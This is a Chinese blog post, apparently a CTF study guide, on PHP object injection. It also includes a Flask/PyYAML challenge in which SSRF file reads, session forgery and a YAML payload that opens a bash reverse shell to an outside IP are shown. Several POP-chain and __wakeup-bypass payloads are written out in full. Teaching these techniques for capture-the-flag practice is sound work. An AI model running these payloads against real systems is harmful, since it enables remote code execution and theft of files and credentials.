ctf中php反序列化汇总

序列化与反序列化的概念

序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
反序列化则相反将字符串重新恢复成对象。
对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

序列化举例:一般ctf题目中我们就是要将对象转化成字符串,而最重要的就是构造属性

反序列化:

php反序列化漏洞又称对象注入 , 可能会导致远程代码执行(RCE)

理解为漏洞执行unserialize函数 调用某一类并执行魔术方法 之后执行类中的函数 产生安全问题

下面是一些常见的魔术引号

__construct()           //对象创建(new)时会自动调用。
__wakeup()                //使用unserialize时触发
__sleep()                //使用serialize时触发
__destruct()            //对象被销毁时触发
__call()                //在对象上下文中调用不可访问的方法时触发
__callStatic()            //在静态上下文中调用不可访问的方法时触发
__get()                //用于从不可访问的属性读取数据 包括private或者是不存在的
__set()                //用于将数据写入不可访问的属性
__isset()                //在不可访问的属性上调用isset()或empty()触发
__unset()                 //在不可访问的属性上使用unset()时触发
__toString()            //把类当作字符串使用时触发
__invoke()             //当脚本尝试将对象调用为函数时触发  就是加了括号
__autoload()           //在代码中当调用不存在的类时会自动调用该方法。

漏洞前提 

  1. unserialize()函数的变量可控
  2. php文件中存在可利用的类,类中有魔术方法

利用步骤 

  1. 把题目代码复制到本地
  2. 注释掉方法和一些没有用的东西
  3. 本地对属性赋值,构造序列化,url编码后输出,避免把不可见字符的影响

利用步骤举例 

下面是对对象进行简单的属性赋值,并且注释掉了没用的方法

<?php
class DEMO1{
    //赋值
public $func = 'evil';
public $arg = 'phpinfo()';

// public function safe(){
// echo $this->arg;
// }
// public function evil() {
// eval($this->arg);
// }
// public function run(){
// $this->{$this->func}();
// }
}
// $obj = unserialize($_GET['a']);
// $obj->run();
?>

下面是要对以上赋值进行输出

echo(serialize(new DEMO1()));    //单纯序列化
echo("\n");
echo (urlencode(serialize(new DEMO1())));    //进行url编码

 

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

public(公有)

protected(受保护)

private(私有的)

protected属性被序列化的时候属性值会变成:%00*%00属性名

private属性被序列化的时候属性值会变成:%00类名%00属性名

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化

下面介绍三种赋值方式

 内部直接赋值 只能赋值字符串

class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo();';
}
echo(serialize(new DEMO1())); 

外部赋值 只能访问public属性的变量 

class DEMO1{
    public $func = 'evil';
    public $arg = 'phpinfo()';
}
//新建一个然后直接输出这个$o
$o = new DEMO1();
$o -> func = 'evil';
$o -> arg = 'phpinfo();'
    
echo(serialize($o)); 

小技巧: 对于php7.1+版本,对属性容错机制较高,就算不是public也可以在本地修改成public

构造方法赋值 (万能方法)解决上述所有麻烦 

class DEMO1{
    public $func;
    public $arg;
    function __construct(){
        $this -> func = 'evil';
        $this -> arg = phpinfo();
    }
}
echo(serialize(new DEMO1())); 

 参考资料:CTF中的序列化与反序列化 - Hel10 - 博客园 (cnblogs.com)

反序列化学习笔记【一文打通ctf中的反序列化题目】_ctfphp反序列化简单例题-CSDN博客

下面是一些实例

[HDCTF 2023]YamiYami 

打开题目,发现存在三个地址

第一个链接点进去发现地址跳转,可能存在文件包含漏洞,我们可以考虑用file协议读取etc/passwd下的文件

etc/passwd 这个文件通常存储着用户账户的信息,包括用户名、用户 ID、用户组 ID 等

 构造payload,读取etc/passwd文件

 read?url=file:///etc/passwd

 

 读取环境变量[CTF]proc目录的应用_ctf "proc-CSDN博客 

引用的是进程 ID 为 1 的 init 进程的环境变量

init 进程是 Linux 系统中的第一个用户空间进程,它负责启动和管理其他用户进程。

read?url=file:///proc/1/environ

 得到flag:NSSCTF{10b7a6f1-c324-483d-bbb1-7519beced37d}

  • 局限:这种方法只适用于环境变量没被清除且flag不在根目录的情况下

 

第三个链接中在/pwd文件下存在/app文件

我们试试文件读取读取/app文件:read?url=/app

 是一个使用正则表达式进行匹配的代码片段。给url 中查找满足正则表达式模式 'app.*' 的所有匹配项,并以列表的形式返回这些匹配项。re.IGNORECASE 是一个参数,它告诉 re.findall() 在匹配时忽略大小写。

URL双重编码尝试绕过waf

原理:这里采用的是urlopen的方式进行任意文件读取,一次编码会被还原,服务端收到的还是app就会过滤,而二次编码后,到服务端是一次编码的过程,不存在app,也就不会被识别,这里urlopen接受的是一个url地址,url地址会再进行一次编码,所以也可以正常访问

app/app.py

> %61%70%70/%61%70%70%2E%70%79

>%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

构造paylaod:read?url=file:///%25%36%31%25%37%30%25%37%30%25%32%66%25%36%31%25%37%30%25%37%30%25%32%65%25%37%30%25%37%39

得到源码

 用pycharm格式化字符串


#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"

@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'

def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

session伪造 Flask之session伪造(从某平台学习Session身份伪造)_session 存储身份 是否伪造-CSDN博客

分析后得出,首先需要进行session伪造 -> if session.get("passport")=="Welcome To HDCTF2023":

源码看到了session需要满足要求才会有权限读取上传的文件,由于伪造session需要密钥SECRET_KEY,而密钥SECRET_KEY的生成方式源码也已经给出了random.seed(uuid.getnode()):返回的值是Mac值的16进制形式,但是去掉了中间的冒号
app.config['SECRET_KEY'] = str(random.random()*233)

在linux上读取ifconfig即可

linux的网卡地址在:/sys/class/net/eth0/addres中 

读取网卡的值:02:42:ac:02:4d:ad,然后使用以下脚本计数SECRET_KEY`

import random

if __name__ == '__main__':
    random.seed(0x0242ac024dad)
    print(str(random.random() * 233))
   	# 结果:132.76992396847822

然后进行伪造使用命令

python3.9 flask_session_cookie_manager3.py decode -c "eyJwYXNzcG9ydCI6IllhbWlZYW1pIn0.ZEiQZA.MxDCX2hJb-pvOeb7T3U48RhsrtI" -s "132.76992396847822"
# 结果为:{'passport': 'YamiYami'}
python3.9 flask_session_cookie_manager3.py encode -t "{'passport': 'Welcome To HDCTF2023'}" -s  "132.76992396847822"
# 结果为:eyJwYXNzcG9ydCI6IldlbGNvbWUgVG8gSERDVEYyMDIzIn0.ZEiSkQ.UJ6u_SeyNSd2dTKGE0yuBEROShs

然后将得到值替换掉当前的session值

然后就是pyyaml的反序列,看了下出题人的payload,使用了反弹shell

!!python/object/new:str
    args: []
    state: !!python/tuple
      - "__import__('os').system('bash -c \"bash -i >& /dev/tcp/113.124.234.43/1999 <&1\"')"
      - !!python/object/new:staticmethod
        args: []
        state:
          update: !!python/name:eval
          items: !!python/name:list

上传成功后去访问这个文件:http://node4.anna.nssctf.cn:28652/boogipop?file=uploads/a.txt

注意:访问之前先在自己的服务器上开好监听


[极客大挑战 2019]PHP

扫目录拿到www.zip网站的备份源码

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();


        }
    }
}
$a = new Name("admin",100);
$a = serialize($a);
echo $a;
?>

得到

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

绕过__wakeup

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

 private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后?select传值,构造paylaod

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

ISCC2020-Php is the best language(php反序列化)

<?php
@error_reporting(1);
include 'flag.php';
class baby
{
    public $file="flag.php";     //本来是public $file这里改成public $file="flag.php";   
    function __toString()
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}/*
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    $good = unserialize($data);
    echo $good;
}
else
{
    $url='./index.php';
}
$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}*/
//下面是解题代码
$a = new baby("flag.php");    //这里中flag.php不写也没事,上面的属性值已经写好了
$a = serialize($a);
echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
?>

直接构造payload:?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

例题 

index3.php You are in my range!
<?php
error_reporting(0);
class Vox{
        protected $headset;
        public $sound;
    //考虑fun函数作为最终的利用点
        public function fun($pulse){
            //include!!!!危险函数 文件包含 通过文件流 伪协议 base64 读取flag.php文件
                include($pulse);
        }
    //调用invoke魔术方法  对象作为函数时触发 找用小括号的地方
        public function __invoke(){
                //这里可以调用fun函数
                $this->fun($this->headset);
        }
}

class Saw{
        public $fearless;
        public $gun;
        public function __construct($file='index.php'){
                $this->fearless = $file;
                echo $this->fearless . ' You are in my range!'."<br>";
        }
       //对象视为字符串触发 定位到正则匹配
        public function __toString(){
            //把gun设置为Petal的对象访问fearless 属于不存在属性
            //需要注意的是gun设定为一个数组了 其中有一个键值为‘gun’ 所以给该键值进行相应赋值value gun = array("gun" => $b)
                $this->gun['gun']->fearless;
                return "Saw";
        }
		//只是一个普通的方法 因为只有一个下划线  发现根本调用不了直接排除就好了
        public function _pain(){
                if($this->fearless){
                        highlight_file($this->fearless);
                }
        }
       //wakeup使用unserialize的时候自动触发
        public function __wakeup(){
               //正则匹配 把对象视为字符串 触发其toString方法
                if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){
                        echo "Does it hurt? That's right";
                        $this->fearless = "index3.php";
                }
        }
}

class Petal{
        public $seed;
        public function __construct(){
                $this->seed = array();
        }
        //寻找不可访问的属性 寻找箭头
        public function __get($sun){
                
            $Nourishment = $this->seed;
            //函数的调用后面有括号  可以把类的对象作为函数调用 触发invoke 
                return $Nourishment();
        }
}

if(isset($_GET['ozo'])){
        unserialize($_GET['ozo']);   //只有反序列化一定是自动触发的过程
}
else{
        $Saw = new Saw('index3.php');
        $Saw->_pain();
}
?>

解题:
起始位置:先考虑魔术方法,destruct或者wakeup 现在题目中只能去利用wakeup作为起始。

结束位置:利用危险的函数,比如include,highlight_file去进行文件内容的读取

知识点补充:

遇到正则匹配不要慌,那正是toString方法自动调用的入口

如果需要触发的魔术方法在一个方法中,那么就new两个对象交互使用

include文件包含读取php文件内容常用模板 文件流伪协议base64 即:

php://filter/convert.base64-encode/resource=flag.php

private的赋值直接在内部,在外面可能赋值不成功

构建exp的顺序是从结尾往起始写的,逆向思维,就是我达成这个目的需要什么事情作为前提就是思考的过程,所以最终serialize的是exp的最后值

解题过程:

首先需要找到最后的危险函数,看到了在Vox里面的include。
然后想要使用include就要调用fun这个函数
想要调用fun就要触发__invoke这个魔术方法

__invoke()                    //当脚本尝试将对象调用为函数时触发

作为函数就是添加了一个小括号去触发,发现在Petal类中__get方法具备这个调用函数的功能,所以需要去触发__get这个方法
__get()             //用于从不可访问的属性读取数据   包括属性不可访问和不存在

因为与访问相关,所以全局搜索->去找哪里会访问,可以发现在Saw类中的__toString中有一个利用数组特性去访问fearless的过程,这个fearless属于上面的get方法中不存在的属性,为不可访问属性,会触发__get,所以需要去触发__toString这个魔术方法
__toString()             //把类当作字符串使用时触发

这就需要去利用正则表达式,视为字符串的特性去触发这个toString方法,而正则表达式在wakeup魔术方法里面
__wakeup()             //使用unserialize时触发
所以直接在反序列化的时候就会触发这个wakeup魔术方法,到此整个pop链的逻辑全部理清

exp:

$v = new Vox;
//headset的赋值在内部直接赋值为php://filter/convert.base64-encode/resource=flag.php

$p = new Petal;
$p -> seed = $v;   //把$v这个对象作为函数  触发这个对象的invoke方法

$s = new Saw;
$s -> gun = array("gun" => $p);    //让$p这个对象去访问fearless 不存在触发这个对象中的get方法
$s2 = new Saw;
$s2 -> fearless = $s;       //把$s这个对象作为字符串 触发这个对象中的toString方法

echo urlencode(serialize($s2));   //输出最终结果

Demo1

<?php  
  error_reporting(0); //关闭错误报告
    class happy{ 
        protected $file='demo1.php'; 
        public function __construct($file){ 
            $this->file=$file; 
        } 
         
        function __destruct(){ 
            if(!empty($this->file))
            {
                if(strchr($this->file,"\\")===false && strchr($this->file,'/')===false) //过滤了文件名中的\\与/
                    show_source(dirname(__FILE__).'/'.$this->file); //打开文件操作
                else
                    die('Wrong filename.');
            }
        } 
         
        function __wakeup(){ 
            $this->file='demo1.php'; 
        } 
        public function __toString()
        {
            return '';
        }
 }
      
    if (!isset($_GET['file'])){ 
        show_source('demo1.php'); 
    } 
    else{ 
        $file=base64_decode($_GET['file']); 
        echo unserialize($file); 
        } 
?> 
<!--password in flag.php--> 

分析:

unserialize 先找找看有无 __wakeup()、__destruct()

happy类中有 __destruct() 方法 并且如果$file存在的话直接展示$file的代码

但是注意到happy类中还有 __wakeup() 方法 将$file的值改变

unserialize执行__destruct() 要先执行__wakeup() 因此要想办法绕过__wakeup()

注意点protected 属性在序列化过后参数前面的标识符为\00*\00(\00为空字符) 但是用\00的时候不能成功输出 以因此使用chr(0)来拼接代替 

<?php
	 class happy{ 
			public $file='demo1.php'; 
	 }
	 $o = new happy();
	 echo serialize($o); 
		//O:5:"happy":1:{s:7:"\00*\00file";s:8:"flag.php";}  \00为空字符 
	 $s = 'O:5:"happy":2:{s:7:"'.chr(0).'*'.chr(0).'file";s:8:"flag.php";}';
	 echo base64_encode($s);
		//Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
 ?>

因此构造即可获得flag:

?file=Tzo1OiJoYXBweSI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9

相关推荐

  1. PHP序列

    2024-07-20 23:08:04       31 阅读
  2. php序列序列

    2024-07-20 23:08:04       29 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-20 23:08:04       52 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-20 23:08:04       54 阅读
  3. 在Django里面运行非项目文件

    2024-07-20 23:08:04       45 阅读
  4. Python语言-面向对象

    2024-07-20 23:08:04       55 阅读

热门阅读

  1. C++/Qt 信号与槽

    2024-07-20 23:08:04       18 阅读
  2. CentOS Mysql8 数据库安装

    2024-07-20 23:08:04       17 阅读
  3. ubuntu22.04下YOLOv5 TensorRT模型部署

    2024-07-20 23:08:04       16 阅读
  4. 前端面试题日常练-day98 【Less】

    2024-07-20 23:08:04       17 阅读
  5. Uboot下的命令与环境变量

    2024-07-20 23:08:04       20 阅读